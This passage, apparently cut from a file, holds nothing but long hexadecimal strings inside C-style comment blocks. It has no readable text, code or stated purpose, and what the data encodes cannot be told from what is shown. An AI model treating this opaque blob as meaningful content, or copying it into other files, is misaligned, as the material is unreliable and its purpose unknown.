f88563d51d6bf0c1b53ee50862d30354755256259be7ca7ecd2a649c35f90ffcfd84acafc7a0f8a6399e10bde83928d28a86e5df90d88b01ddb6bbd7e132d8ff49524e9785fea6de3d1e1c78df7173191fdf3864a2f6843922c7adfb41e2c2c32213c8e4f41046e64bf0333dd8393feddf81833d20ed8356519e6a2e9ef42a4c27879d30e0c1a77ccf658459db8ba35c3236a3edf485cc37fa5d39464e6ea3d0969b8005a72051cf13160c44b18b2397b1bdc447615fd69d8ae01787c2ef8436ca47dc1252d1cd900101d1e99cbea0de1ef22f9b4c30714a19e69f2dfe8be7ae5470502312f0c879c7380f5a4184b8b4c014eaeb5b8cff877729d813efc9d01e7c9ffcaf71fba882dadc93b45f8a2c0dc5a4fe784d0cf80673d864b792629117387258468433e25906d206ace8a2f92f5133be510a6e7ca846ebdf23c9a3d8ead75e05821b92eec4adebd0ffa5befe4bbf34fa2b095e11f33af368b87eda9764070d9ff6272a3976973251bbfdcc379e8767058de4783930b8158d3def282fdaeecf356426b679896c7cfcfe664a34443a7480922bd4dbd6d17545b4f69527ece84db2b29a96823cde9d9b1f9eb7275701eef3d2748a8685927390889d734faa0f460bb549152b01972008c4f0538d61d131111ae77d40184b6e09393f3c4716e1c5f23740182a7120f03815cd74ebd52faff8cba86de07f6102005190a8f60be583c6c6a479349d9580e0*/
/*cafe472a0f1b7de0cd0df9c9ec0311804bd0e02ac4421cc25d8f7be281e539b77ee4684573ed42a805102bef26f21bd9289530654eb64fe5a958656bf252f932c9dfd063676ef35e27dc10ca7fa5ec47e2d4810820c855b92e0a847ca3404dc433eef432d3c248adc775bc1504ad9237bad0a2a1178812f53c85249c2b2b766b36e5629f75a31e23382bdef09d9fdcba03b5accbc471cb442f3fd54e47d0aaf6b2874095664b80a0b0ab91f0bf8bb1fe2ab6e719ba12f81eb1b268a51dbb01bb1748f091b06bae401db461b4113a82b131f06c35fde3b702a3fb26526e43078273dbde5948d81a3eac70e829e6d43133bbe23fa6c85b54a511f5ca464b4d8d464f0b759e85e94d256c04143e20ac898a1985d443614802d25b8fdb88ef7f0ee4864dcd092a4f328409f3ccd1751cda9a089c10c4129201d27e9d20b4bd93d1caac7e85d3636a13821d84d1f094b60e94d6d052ad9e91348496f5e057b1ae597b76af0e0ae6d77265149189d08aabedfc1e3f71719cbe2391aaf9e3c88af34ab718628e59e490d92cfbdde9398afb65b16b2a3407c85cc0e0245288765c34ed11c6a6e8dce13df7cd39613fdae4825b9cf16f32a07f3820a322f53df6747f7924a70223ba7f7a163a23c6d276f4a40c9cd65d28d40ca087fe0af3a19b24636f84b17cfc049803c7123034a0009b8c0cf850ba2fae748e4338c161b0e7fbdea90dff27f35f02880e13cf34bf1c41d6926eaf418fa3e8ae5fe15adf9488f46a9c7943af18599f02fd5db18c584005916f96c9068b5c39961896abec28193aaf72ca26e1ac146d6b3e644cad2ddb5462148c72add5396eea46484ea1e43a41d249ca22069d162f991bce570f770d4bffbfa637d84aae22873315e7b5c25f51b9ab255d5f30cc4066e6e32eb5c7521735356a27b6606273310fb6739cdcf3d192f33e5f73b9c667a149e2e146c891c05c625c26ea54ea35b5b4631c45104057d394d72ac3b74202fae31a961aa7d0b9694bd6fb50479f164f1665d0c75172daefe5a4b5ed3bd55cefedb7b2c5e74d267ec783b8ea1907156a055783c60a4b857007b3d0aaaa3c24efb67f39db5457f7df2cb8fe69e6617a501e6745e2ed6a7f6d21d52373e53c965633c9f488e8832d3233913213cb9ee6b9673d97193107fe87c710ae1a5402414980258375e891f361059df6f2fe31a53c9f819f88a83482959d8c07c28255d942a8f3a88ce1119e48fb0b96f847fa617283b40832905599d5c581b778f2718b0a9f21e2ecaeb249f5a7d95c52399c8d0039ff282a99498b506474d6da40d52892c6b5be676dc0a57a337b85a56b9f7a114e7a3de796cfa210a39adfb009789fa20e27222f3ebf238d74b891c1178404138cba2861c9395cde06680fb8a502e1b81252000169eb94802bc87e357d2e98f36094aca61b2af77a6f7db2f39dba3e73d43eba19a58d42e350b47916918daea87585c84842e62ef0c9b1b3c575db50f56a006f85f769672befb5c6fa93abd3d3f237465551ad301e7ada631c0c7237186c324ca3254f12f52de54a0a5dd82008f5045b94784ca2320f793372d64c43efab530ad723af78328476fc21275fc3e91133b6566c34ea853a8d37dfe5183929eb38076df474d7195102c17b2a25ede2d2987065a6161f5ac4d6c5ff12284d55ae868562c52b18af0651c8627e4f31c85d4a3a4952083460c990304b29a658fdb72f74cb2949eee43f7f6a9864853a484e03d11457bbd2436e176fecea8c7599b6e720842ac737cdbf3fd4a0e5652f6519da3818db7f4234450b5fe05d521c56eba89d59bab8b200f2ec91af19a738d3f925f05a2c0fe1a447c9ad710ca9baa3d19191d4a1fd1d5dafd2b8e83fd9981da834319ed418c5e36f2fd28b711eba18dab66ab0882c50886decae8c12870710a19759a8dadcd5b17fd05dd252ab18c06f6c9925c2b6cd62e850182a5d048c0e9af3e08cac21a5ff17107314626c94962e1dce83a2839d5565e4822c4828ce4219091a77ffa807f2a88e342a2d8c9f20a9e00a9a953bc16403db21645d67cd1b67f69a2f02cb66b2f517909ce3dfd8b95ff8d6e87b9eccb00e43b807d3a2213eb70ebd586e2b99d359dd1938ef856b685e438b2361bcf04fc1955637374a727cf280eae4e97b6c1f0441e0a4b67b00264c4f21c27cba977c9724d1cd8e6914f5547d69080c41a541d09a31ed6b5c4cbd2e6a3a96761798623a5102c6db2181836bef128f7faf55bab2fa3d7c20aea5afae570463314363424343057c3fe6e66d37d693bd33ea99aca4c575520095c02882f83791a31691b650161cdce8a0999fadad580c67506492600592fb9ea996d93fcdfcbbb436dab5fa8f7d36376c4cabe8df7c402259471c0294ac6d2a7afc0085d7b05d7f79f42b59eb45f1f8a06e1596f5c024f6922313145297ff33050aa59d7de60b8e871f7c610b20922be424878c6e369da58a7cc635f1348c62f153ee46414f45938ab2a38bc2667aada4b75eee0421262b59e6a4e8198a55e6d2735c36d5e015fe98c4b7fc9c22ad96ae23a7662bb487a33fe6f76aaaba93da8fb45edc224c7e23013e6acab81d5d43ef16e5abb42ee057d4bc4a65632951cd81293776c70d9675e2e097c02cf1eaea8c5a493faf79994bf2a8e0578ffd7562210aecaba1a1497a74eb59c11e7c7d33d743c8e0dbb7d046419f2e78c7f5157b9a71176d9cb02dd1167626b47860c267999f3a93a49b523f5361ce8753bda6f87d734d146c5d64b6f36309a60d241cad93e5a78c3ffe4ed039f3f23aff591e13d2254df3ea403f2dc61bafaf5a*/
/*0e09993594c3dc08cbde5bf29f4e68f2523a26deefb059e7c34b3554cd366e47f24d9ee2910cc6368dd3948ec366c2708fce2a1576b72e2965703a0f0e01bb44513d6b219f4055cfb0afcd7ddae6aae427b4ade06c726fbf1cd768488ef86b9596236267917eed43a2f89602935c07920f446ba8d8f53f2515a89ea2d7222b0c57f75176fee8881e20be63485c607c73b0c9deb0c0ad153e6342caa79920a3611aacc7344821eea436c417e6a2adb22100c478d312c2f34ed4c354a8f5ee72be4bbc12f95eca8533bb9df94ad6fd58830bc174cc03f4b31acda195e768693e525a84146569afc37fa6f3421281830b549d2ec6a64eac5e4116589475b6ec8124d3cfe674cf9f46101e1b3718017d9a2f06fa6edc51f43c7d4a761c24cc75c92cc06120379729b5d4e3603771731c9e84c44a74c420e1a83e0d2c40a9cbd95480f2781d51e004a4cdde983418542bdaf863567e39566ad48d1d9cb8183c2b8fa2108bf09bc043a813812ea33abc9695a53128486d7f1a76a6b44ba29acb806c2fc5309884613546c5b093c547163828a1dc0157a439d106d15958ac261feb08a55002ec363c9d377398c57d5fdf6eef8ff2ff96cd524bcaf6d6687ee894a8747106ac9b2e9078777563f7fb00d61899c6dc955f4120226a949ad56a3b7e25000efb10414b1b8bfed5e6bc95847da5c2abb76ad1781c6fe8ad14758830f332caa7f9af02d9c8549ffff65dc06360f257cc13db6fcd99088c8468a8a49c40ac6574cbf3b91d2100cc99274069d197e891c448f03c2067235eaf00879a55345a526b12af8d731c079e5f7b74d5a684ab65af87d63abbc104011116419bb2d53e2f71f1b8ed1d81155394df65457f58a19e581500e8e0d77adb75aa85ed647e4b67187c3ed32e41c0ae1c789d086a3a26b1df01394e270bc8129ef07fe7c798c215ce8666a656321888b1698598bc88e2bf9e2af22cdc14c82fad5e3da57810be6985388a609f71a47f19f4fe23237d14a7f550da4cef03d56c3b986daf382589f872a97eed2a716c104ac3b6c24a88cec3af4255a07359ce4bbfe731e1c02f460a11cc7253f89d795271efaa1a6d2cc1760bbce76a496260f74256c3a6c292b5a158fa577d20fb11fd574c7f8af3403a2f34627b2e5f44aecb9eef9bd16759cd1787c4257010b9b603ea3124bb85bf7cdf093d6fc50c0964bb11ca26dc99a11ed4bc5acca386164aa3e8a52391be6124bbb24d3ed37de0fe3863b8f2505f86c872bdad7f3e07b07ffd1bda9d624f8d5d316ffc178a11f2cb56d7a54f17f4f61c7edceebcb85758c92943d6de13674f1c3ace58c411b6ce192c5cc357debfc36ff74b471e2637898232b347c99f30c152e8c69ce00c03785f457d38dc356b5b07bdfbb966d5b540ba5633ca5b7112650eae0a3278f63acf38bac1ead09036354b6951c0e83e073dd77b1e60cf028a549f5b91062c5746097c81f0bfc0950fb43b6b29cd0591ec091fdd6bc58054d96fe3f5d30d249ce6e8d0b840fde1b860f560378125a71d1dfd7ce4643e70050bf5df6dd1b4f08de60dc43833e1d0451c21c4a7a4ca487c494648b41c1f6e169c70b94755126774a8c8a6187a846e4d35eca44e4d7a7b243a2ed1f4591d2491c68a88e6be968719fd5c6d4e769e68ce7a994e7bd82ca69187f80c3c9657e63601e4b28d4efe27306a691a34662ca82da32d22ece0f9b9bf5d25d47bff5d704a8098e5a6a801e1b32b6ff3ed96758869ef13cb6f746d49abfdcdc89240b2733a34763a2ca11ba2294facd9b768bece953157bfc322c9e62dd760644a040bfad1d7361c2e99db783ef41fac8cb2195d2366915a90d35fdb909a6d1fa1f094121fd355f2c89283b22fc8f5945990022063ab1275f6f14cdaebe677f3246b42b64e7e298d3e193103f19bba1760d40aa2c7f83fca81fa004140ac370838838b006de5caeda998711669f8fdfeee45cba1b502e681e65e9abc81d4fead5c5d0f128733f6f81b8e28a3e128a3454358e2f2e924093bf8bf84300731d7612435b6b577a38aebeb84325a18a0f25619dfb6142a2f469fe6c815d4e7cd36d81afc8f317d84053cf352f3adf5e0233198a2aebec9fd560cafe6a438e0bef7e980cb30ddec59a7743e0b5c173e2730ec37c1e226c7cd83fca9483de450d0ef3fcdf7d96c5f50685a83e9ac3a697df1fc647b70293c8fcbf3f0bf7730ca8c350230f5a06cdf998ff3bda8fad26947146a1bd575851d2789e0fa2a22e982bde1c9a7c631d06ea3054337fb582ba03e001ed51309469bf06229f92968165b052219d03e0e02be3166e09bfb95734f78e1a69c7f3cbad35d2c60e0e412a7d4cfcc93e7b727fe83cfabcf8946cc64ace46522baebf995bd388b12935e85c22e4703f75107990a71b64da68edc9add4d175db8fbfee582f0ee76bc4aa677af942bde95ef061992e5f61d2fcff7a322fbdacb0127dd7ebf7d292bf90168a47761c63e5b0a51edab6fc2c7f604ce12be41f26e75d66a62e2144ef074464b1af0544e97f2f47a4e4072fd3042e7ae39f71a03a335a2a0f9c7a914f4d266642e3c9a4942a52216320938dc0086e1fa3f61e4b3c7ecd337d36002136a7f3b7c66149c9022fece1306c78f402c7e770cd6d4fa5615f05c8ec6f5ea6afb3a09d9a2fb02a88442cf153a6f6e01f8f63038f8a796b4fde50cf5f40d69b62b7b2545cb94979cd7d2c2f2103f22ad71318521ef60e7f85d0befb8324910327f6956fd3bd1a01b0f4317097294e22f2e0d8b3071c72a2a1ab7e09f3fc76b9a6c0ffc401212bd96ad4db922ea338796a9d42dcf*/
/*e58f9f58b011ff58b64e1bcf293c2b1525586e6e8d0cd1c2a37e2ee16ca2100a9de3d01c9a451a78874bec97d1c1d4cb5d04ebc432d80f62ae804f66caaba9c605c84270486fda712fae98eaf1158d1a843cd342cf6fa8133a15f413c8e371c5571ba3c43d301f57986e38cab6a3e73919600996b2d8d99331813d24002baba081a25edcb46d542e1177b8b2d4e21563ceca3da72e80d0457e6b811e147a2547758038ba81a874045460b80aa37e65e859c88bbfaf1fe50b7ad8563f30aa72b7f82800bd15505e12d4142049e232bcd9b0e40f3ca7bb9e084cb188dff855e576190cfe625ed8f966f95bddd44c114b9eaa7c7c43187d7e8313d4eee7db8a866c308510b4de1cc1443ca46953fb15c68ef430a7d8c3c2bdc3845795d1f1d1f1793cddeb68af4b0c23193ae8ecedbec929f02cf3d878b76a05ff52edda39e74882d3ff6b3068d1d59a71dc3a851605baa29f0bece695d93548977f0c40094fc48c1b87957fd48fa56f8722028b006af23881a00f3b2e62e88d07ffa107288937166360d210f865a5411ca71efc0eeea003cf96a35e9b6a2830164bbbbc2e3da91a3ac903d8c6b5611bb11bca6602fa2b57117f993bd10a18b2e0f67dc5a09e2f74f9bef36c8871be5577e916837fd875290b6fbc3b13ca456bd4d37e65c3d6aac6fcf54f9f1e39eeed133cada217eb495d23b0f75948d32d23287870d372ba5da820cdf145646bd64e2af9820a0e8fc2bb87fafb577e1dcf339f66da99020778711027e55a96826a6ba3b909200add3689771202a9cb8190cbb42088a59d77edb5b90515b02af709d61dd34a2391c142ba2609bea583c5b456c700b0c5f1df08d37899c3f66e70f26fe8a17cc3e1a59f5684a36fdd7c56603ca11fa6a1324f1324e6a1f99382768001c7b9a4ebdbe0e4f7ee3680490e47958498b4f87aecc70beab722d8b54f61f9c1ad69c69d4028193ce4b63482e75b1b7d63606f7285a8f47dec1f112c053c19d9ebe70cc0f66e74968054084e0b3f51c5820c71572ff7784139fdaa6f556d62051a361acd1d41d3f5ca02ddef795baea786ea13588a9af8ab4d11313f66d6b3e3527ea9659cc53299eae039852d38e3d3252207294050aa73e40e251b37e8782ace446472b5d70a057747be35e6e1149239df952653153ebaf2ecd5688113b844c737d763ed9124202544a8944191d55bff36eaeb516ac30e144b4b18bf52808a7cce881e34cc4675f8324197b62df472840672291e6dc1efd8dee25c0d090ca2b18974b83c418e068bcc0f1a0af1adcc38865f2a600e05d0f9e8e728386029a31c3942a0984e53dbca4ece9b36805e829c2f62631bbb4ee009297dcb08fce85b4cac16288f3d6ac3b1685bea370154abf5d887ab7851c0638f646ed989058276bfe14f500ed9f068ab3bd9fefbc8946d1063f5d96175c04c0812844095d169ef2c3149584560fc27300dee37fe11c438a4e56b4eb24b54a69908139551187d45b119580d1b8ab74cc521510da63dfa17d55bc18a2db2b5ae394c6e6aac2b7f4fd0638d1be9a4a8cc37f082863c022398f0aff4276d2acebadaa276a882dd12fa9fa2ef1b1bdcc07d0162c60bf7f4ecd300741b9c41a13f2f907d773fbe202cfefb6086e5f02084ec18bdac7fdf1c579719d5ac05729292e7043a5c0e059e1f263b7705c30af143f4ae35a17b42479a1a6ee489586f16659e696a84720ae02b0f3133d85b46082f3cab0e719ad46d7bb876498e2cf102c2d24b33610e010fe82084877f39934947888db9078be50ce5c8ede3c232f4d01e6a49ec2f1c885dd0ef27c25519f08147823901ce5f235a733172aeeacbbe3cb1985fcbbcff524990b34bfb3b922d1f3e8bcb3883d0b8807b55830a05afc6125ad24b6f5a9be1691bd321cd029d5e50086244a94a56da7ae04df13235967a7bf235c8405c2c795e09504a284cda6c6bf3e8aa52f661de58a6a50cf175741d34eab3dd304946e6bb6746f7a249cd0ce96757ad80949cef7032834b913f969d88a6bfa5124fe3f9f8c6782330fd89451ed88bbb4171934736e61ed55c78df4b1e10f1052c6970d0e59fe03be7d3cb231bebfd49744e4ba0c4878cc8c93d8adada067d370b4fc180fd9de9c2da9660f506d6c31a7ecdbaacdeec8333e7cbbe844635a636494c8463615c6371a5926e4a215f4d21cff0c300ea4b4bec25a2760e971502734c074d3cdbfb45a3a810023f87d525d6a78b975005e626c4d768adab59226238bb4ce1f61a126d1431d862d74d6cb57e2c617f4405d323aa48e89dfd46c1c5e0eb19b55fe63724c744040869d493a4629137a3c721763b8f4d28f79644d49cc7be0d7695ca97f55159d3107a9c1b471a4fe44b5e1821d92507e4442ce34245fe9e667df26794d90db792f7a5a598ed67dd9290f98d04a216787514e9919147c4fbff412488a996e9617dc69465b694d14761d2733c3b23a1cd10ae5cf4b99aaf27157e0804c71cbdf7b8e0002ddb04089ab107923593a46f8c8aa7c3763ec6a3a7e6de3b3cb07a738d0d8a9ad9ebfe34f95aed72e296a3df2ceb48289facd8e3bfec182f38726f9ca42cd338bea46c63fa196f0c8b223581f659e692a961d3f8c96eacc062610a7ad1ec7d878454b5c89db17033bcc08358d20968d5f13f5b8bf3b3f70cfa9a05323f33a51b5cf8fe3be36e7861f92cb5284ca2dac4bfe373ea27344601b7bc12d941edd68c0082ebe9efd13743b532cef55ef5834506e422d9b98afaec58507dc9252678db09ec17f3f83ad6c7bd69e50332a62a1d7f17dd22995e794b14bd9c7502472522c7ebb1*/
/*8e7aa695f7c787e160b7cf26405c6255a62b63819bfa470ce8adc1bf95d7db6d3020ec95a0d2d3fc55f0f1b65f3881ac25365519922edaa7ff7119927d5efe33d71c1dcbcad2c042d1ed74eff72bee4fe636a1ad0547e98a8c887ff1179487efe3bbccb7283f45b0d5eff75705b5daf187cff315b6fc66db043f888322022b8093e7b0b5631091e6760e3c0416c894209f96851bda8c2fe97a9ced7f66c152db0d1885a9b124658867f8ff764c9c3245320f76f4161af1fb0e98fdd543b6779cc54be5d267a4738990ccd29e6f59a618aeeef9d92f4fcb674625f1790d72fb9e4c2e548c4cc4f67dda56f8d5c436c068a3a09fce4c0806723ac1783ad17023211841affc3352ad3e4ca0809c82e85932f94bed2a8822c9270cdec8abc6697469549bfa157020f14fdc398c50c2ec2ab9384bf692f3a2720551d56f74c3b28b2ff40ef923401219f49f90de2c3033887b6c4cfdafbf725f33324a4a4c425dd3d0a2643fec65f3b0ee72fbb493850d556a69e3514f6be86554941194476a371793efe74e774a095d83ffca23e41acaf9ff9a57b052ddc4891443275c9dc3193845aa85112cdd0e48770fef1b75d38fa395acd61524c88a7e28f15897331b719551a6266aaec9fe66bb4af763e34fb9ddbbf82928edee39ed4128fbba2e17ccc3eafaef7fdb2cb30c1b7c19dcfdd206f908dd3bff725c92658b45a2cc945de7d1d65436c9305a714b7c014db289fccc4a62d350c94b4378bb4cb056570ae2d085a927016f7dc74f31694ac8f573c78e45ca24c2c7abfb05c23c440a29728684dfce1d99264d5998f866ec6dba48a8339e1265826b307548dc6452601b632ff6370f1dc61012d5bac0ff6a58f00efc7a6d8c59d71c4162760926edf41a59380fb4d338877270e9ac8b82cde43f9096805a9a1206db53c86f4c5c4a96d16c9a9a5b4fc2e9fcb8aac2419f2cd75a466775cfebe949e84dcce487647fb5601a88249229ea159726836b31c8b4d97f335d094450f61eaded68189ac04a7508ae7000144b8ad5ed48eab98d1cf5e0a289a43b570effef590c4096dd395d344381e8b2561bef078316c3785f55910c2d6e3bf55e1df214e472313b6c16aea8a1f44c54d5cf3775f17bf58a6486aa4fcc1d2b1d6c104b1b83bf2876bef3e48b28c6dad21b214d03fab11b89ab4d0a62fba5db10658ea55df0e48f42bd4a6cee937c3ddb4e2e31c923fb3b0977cae0404ff73b77d258d76c8b882465f74b10bd3e9e64794d54a42cd07f3bffd0b233361b2616751fe1b53a8e35cf5558a110c4d7eae500eea4d88972597719aed2f739a02ef21b0dd500d00cb5f9017d7a74e540daf476a7c0345a0b38a74e2286ab7c9e078dd92bac4cd522e3eff4ed6e49c41ffe39486dcbc3e694222b94d2e12c29fdd7d92c8dc5554f1c55495992f5c4738a4916e9f6832da9fcdc7ff86700b513480be4fac98dbaaad17c8dda67a800901b17a7aa6ad3bf3e78ecd39547822b4c73787ec9c33467ebac5cf74c0e095ff2a8f17ec666c8c3619887e6bc0e9183bdd418e13e2294998b4a6658b33fa0cdb1695d7174bea6b3c6e2ac6c3a983dfd25af7fb64060da38c18418ebad53cd05a3f21ed9f54940626e1a47badc46f0c8c4ae2a0cdc24ada6219c2233133cad007c86155097ef116e60f0f97ff7dd089791e669967650a4cb10443870e8ce43f4d86f39148650e14c0dd37d21bf7bb086ae957ea84e8459c189fdb8f1732343c90c3990a98190674d8d4f2670a500cfdf0c1a6eba4538aa16093061b7a1f2007903015ab2a4d4171f20003e9afc3cacb5de2e7ada4baff6768db967174ec2b3ecdc75aed5fdc0edbec6e0c61ece99ccb1e5677acb6a64723ea64dad1dcdcd2428a51b41e6ff6c6a871b12f4133248d8c094048c0ab20be9bb19eb5a1f63c7d8484cea0b0c9f89cdedb26da98d30ad818620123ec8fcfd8e139b4aaa89041d8bbcbec0c34f0229cf042a9c9f9080b143b0e1b4538399782e3a14f47ddda1273764faa3f95d0789234aa312cb91b8de6f7a099f91ffabf64c1a6760d682451c46d0713d69f1dbb541b20170a3179081ab6ece2af4d129aeb73d83440e4649df205c41ab9565de37e363179efcb2a0e7461f7fef1e04344fcae458cbbb116be7057802bf0d3073555885a75ae9979c913bd4055a4ba3bc034e805b094067a1d210d7acc5432a29b6566c745815c719e0f33ab4f55b07ae66984bc691ccf3dc2719e4191fa6dc22a81cbf127eb872c7a14d2e2a9a7c725dc48c7d11ab17ef99a18e33eff63d0a2201c19b47575e7038bad85ac90ebed21148ef41fc5b64e48b050b53bad4685c2e8ff621be4170e194d66c8f01d932c9c2566ade570674c4f5fcbfe850457673926a7639e68796e874e52cbba8b38f4fef5cd822419b33b58005262dda5de4b5ab5d1d584c9baf69b189b455d12a323c09f0d3987217f8dea0226316756b575fe41fa0f8f33379edd06eceb0aaf3f6f9056d7e064d43282dfaefcbd4c69831a464e99763efa21ea05ca86feae4ffc384c130bed36d20af0db9f40d1afb3f6461f718d67cfa266ae7b1a058d80bfa49124afbd8cf7d25d4a22810a770107456f782341e6de4b9f85e2eaa805ad435521508b36fd49092ee3e217949c268c019bf670f5944469b13e20a080a9b13d341908fd70d02f788f8e340dcd3e4b0ad9bffc9a999e0e80052dfe31e03b173697d1882cc0a083409fb2ec411414e74e3328d9b709339afd94533b97229cec12e98212d5b521f22021458dbb12b6d43f509c0eccbc697d78e722c734d09c795b18d8ce061a1*/
/*29ce0be7fd952026dc81feee6797c29b820f853a1baeb807f63e098b4c5573fdb7b8c129efe9dc37a184db802930301551662d08a6fde4ac6ecefb50845d1bcd7863baeadde4264de3a5cf5103defa8326b5429d1ff9b9eff43be1e9fc0d200e05e7ba4cc644cdfd5646c6cd65d07ac559ce7f27bdcf89fd08e384bfc52cce0e19a1445c26a0d7631441ff3fe3c8c68469bd7dd336040557343296c58713018d4db9534faf95326a7d0df272ccfbf8d6ea7c4627117bc1e4e0422bb19c67179361ff63b7730edec7efe080053abdd9714755f106b0f3e641382976a33d993ef9dddd82992ca13edbdd063b690cce322a63d28856fa7e117e5ecab2b3084aab5cd396040c911dd7054250f56f926f16ead6a572d2ff47be87b391741df374cb545f7e581dc0f6bd0145f3593a493a97bfe0f16a1bb69525648c8898e291008ab6af86bd84c0a622e0ae648608c4ca71f9b166ba4fd0fcdc1a5cb024c8e393367417b5f3f55259a35caec21727a6de367e33dde5f4989876ab0f2445238d8655c8b46b9afcb981d3a85f178de6add1e681dedd6d5a1694e4d4f5481ec6b05258560bc2c53870948c06e826da56b0a16ec8257d2850d80a1d8a01d99973a9563f48634921c7b3f754285dc29316397be2c90c4e9d28b6436b582e1a32ac3da741b5ab51d214706376acd097564858ef1d8e2906d507d4b79fef9c7bc7ac8d95c0f37c169cb527b7924638c45d9b2de94b4cb19cc0581200725b8f8f6bd578e6cb7337b8ff532d3bb829df105000ab309f702e8bf1fb974bf43257d756ae7fc5d7ae6cf7ab373399c1c554cf94c86e5e46ccf59f6c0f77a1e5d19658861516beb6e984348d6019e25e411923b4461ba3e74a963ce1541f04b25d47d18d1e6f763d4a4898f957c90ffbca9242ccd5432c94d7c203dba584f09219b71653efdd78c31d9f20f81987a70d5919b8a4fdaa128e08447a3638eadd404b06a61f4a4577df8eb0676678af14ed92542a5da9222140ab218d95f6269abfffa401514c5f4a723bb6b4d3a7e01a67ba35692b90ac24d9db303b2b8f85dda36ba89937e2f83e2fea267959430e565d3bfc2461beb4ae7ddd0bc8e01968ca0758074372ea3300f9343ecbf4f71573de7eb578427e9da5583c2c8e3a907adbef85e6552c6d99e3f2e10a9514a13b47d6a67f0d4b588c400c5fc482c87b7a8d416258c9aad164580a3dcfb217f29522b4b660c5274970234630af6c0658753c9b0a42a25790d54aaf613f107b0e2758a57d9c27c1f68c7a8ddda0e088eb8b38e674b602b302fe96f90495d14bf1ef7c220a96c9149dbfdf7ef9d68613c15f1e43263fed4c604fe9fd67f2bf461065b436399312c151b06d09c73b83510c679dff5024cc01b0c9d22e2c072f262e1be19232e8cd0abb9ee380a8d7a35403bc15367bec8d0cf72945ecaca5221d528ef59d63b21b1cd92adb1d00e672ce323aa20a87b3328471eb93c926295acb561a3d6fc4bd810c0b061d78093453544f33280273e558abf7c3be4c901d26f39d9ec7ae0ce823ea66b49a38742d2c8768eb11efb12982719f7125fe4377adc2ed693cc67fc1b942b9427913d6232b145200e3ace70acdfc8446cf7af0cef597dbd465a42cf7b32cadea81bca515d3a5ef2fccd64c2f8507ff8798b93507b7e30cca49ff59347ae578c40cceb3e4c54f98d6cea76f2f2ab8f6fa89a0df0ea043fd6554c8fa9bd1a0232844b6b2c2ce30e451ddcbdb720f22ca409312b68eae0cb603b0e7c78e0def8da691aa780bfc967c373e488be6c5806bef48d125d5dba1c187b6128207db92bb5c670fd27c4cd80b20050b684369f3d89e0b70c50a0d95dee3e6959511c6cb0efe2ec34a25f22015954d2b50c4adaf481ef64bf3751a84865a3b65757bf2c51a74853e5e7bb08ee8df9a46c4f39233049d173da38ba973dce382a82552b8cb83e84c9ee0f03fb3c527826cce63bd73a883194384f789b5103401842a6e58748dcb4cce7a9fb37d2b41f6acf8642bd07fe7fdccd077e2b33b3a27181151d1766b7d5a1786aab3e36dd1081512bd57b53a42693f69c06f79ca3a31e03787387455de8c6e97b9421def8d7ba3e1a34d69ea172723d5b1c022b9b7deb80e336ecdc906d7516d610c8aed8fde139cc8ed7d037c9b9f710c6fd4171ccd49d43b80a81a0fba594b94f26cae75c764386f960c98616d19a69fbc9382c7d388eb971e2fc68672f8fc8fb51c1148c77cfd1f6b605c1a442debb992804824bbf55004e89252a2410acc1e6f612efbd3c4344888d9ed358eeb7b55b95777644673aa1aa14bad18f20a87318c76501164ac1b1a934d15a6ff104a18b7f58d1694ea9d64f2d78da5784a1bc767513b4914f1d3e7ad22ac537dbe45de116d24490625aa7b16dc8cc58ce5a0fa32e04a0cb82d4ceb1b1ff1f8f2ef563153af387fc923822a6e43f0f5c88e2a27296b0cb7cfe604c518bafca7e1416ef0fe7444f4d41f289884a19ac6c53ca00b5b4c946d3e5227fcd0f812d3a983e2b17dc9f48953c6705b7394d4dcc6540a84ac21af2b52b835035e433b1d3e8d0ecc160a84c0c45d07c1223dd6d01847de5bb7ece983ae23f8b0ea988b3b8f6c8092ad967ff365d5b62b5e12641916d130b4bd58c83969d537dce3e43aa7b03d862eddb9f5ad70330bf46e2721ddbfeb0e510c3d3c9cb25c60ece29160372ce14088b20b15454900e88b1299815493441561cf8acc3103afd4a32bbe86229f410e89d96f10a6070b2d4bf32e6c2d329c1e25d8d2a439b3f07cb9dd8579ed5bc12e6c805b7bdfee4020d179fb5aa0ea1613*/
/*0d06fd64290bdc581cbb58fd4f805b252297bfd864ec8c645bf12920d7eeae35746d5aa1584bce5d858c323ac0b0dc70cda10c19077b6cf5624904c0c63e18ee9af9b75f2e22e0879c47233d228d518b8d8b36a8c8579cb20c3a0266a773ffd55062e41c2b052d76506e60190e38897c4d640e2fccb7aa0a7b5da9f7aef6df1977c1cbbd8ed1428eac167e6e46b7a7e5b8a99dc7f4c7b484fb4e139dee204f1ed08300d56ce62d6f843d7ca61c4092e6d69dedb5cb7a94e3f52d42d061803ae7fdaa630d45c685aabac1e2c837924c73db0061172e87c4684c56d6d3f175eec3040c1405977888214c9c721ac1a3366dcc3d35ef64732f636b02e9c18f0df8b2798810e68c1a72134d458821ddff1cc732b6a138cb78c615771af929c6f9843c73fa70ce50dd96af6a08a90cee082970ba003c50f15a76d533788da3ce0a7ca48843e6d291863136f431967295d8da687ad690df0853c0d674ce1aaef13b15ba8a7f5abbdccb9bb70a2acce133c7c19bb6a9e39e6e0b6b948ce5e6141d700709fe71fc3c776bd195c6c35f6efbaadbc19bf69ce8d18bfc17656e9ad8e2230967e615b49b3436b077bfb4ca9b0464495c825ffa503bf06840ab8772168fadd1c8c5c8696c0ede1ee5d3b82c59332831d4264e7ca5819159f70d6576eefee03adb70e3643da12491cacd6d9ed3c8a61a962286aa183003c2b9995366ff440300d54d4e66e531f2f8b4b096afc4dec909cf33da68a72d788cad60cd6ae06f81d543786a5093df0eff2766da9f8fca2fae90754187950c46783395eba3bfd753c3f020b11c08f5dbeb0b266b84060e37612c9d78e0b5c8545833d8523640ea5d0f69f37a0625f2e18d9aaff5088523ca86dd341b13c0bd2bef7d4a7e7da5b64025636ce522be0f61b82c5fb049d7b83ac973a034bd5754cf93868f952199dbcf0ff6e689ab6240540015a531ef93c3947b97b515b194d15f5a0ea598c7d504a820d73c4e9d2a46dfc276ca696ccd0ae6dcfb44300316e77a686cfb437e14fa2001505709b59a6f4d501a47302c1a8cc4e88e17ae1332eacf8bfa83bcaaa3ed2f96cfe8ef960cdc1b9593ea546a7d849c23abe885e07fe5241b7e4990119ce5b7e1d1af2ab5757f581ff968a9bd6742c82a9f442c3db03dea0a11cb0bfd9e550c5a692e686c4c9369ba75a368ec82fe9de692f70d123aaaf33c1fa695c40098bd834e47fcf1c66d6d5412af09c0ee5a03bf882e11beb948f2d894f2c570286d2b79dfd8ece6a2cca05a6062ce53e0aed0654ead834b1cd9962f87c2b74b9082036a1dbd5497b2d215904d12bcbaad4180e50a1da2e0559bb2b2d0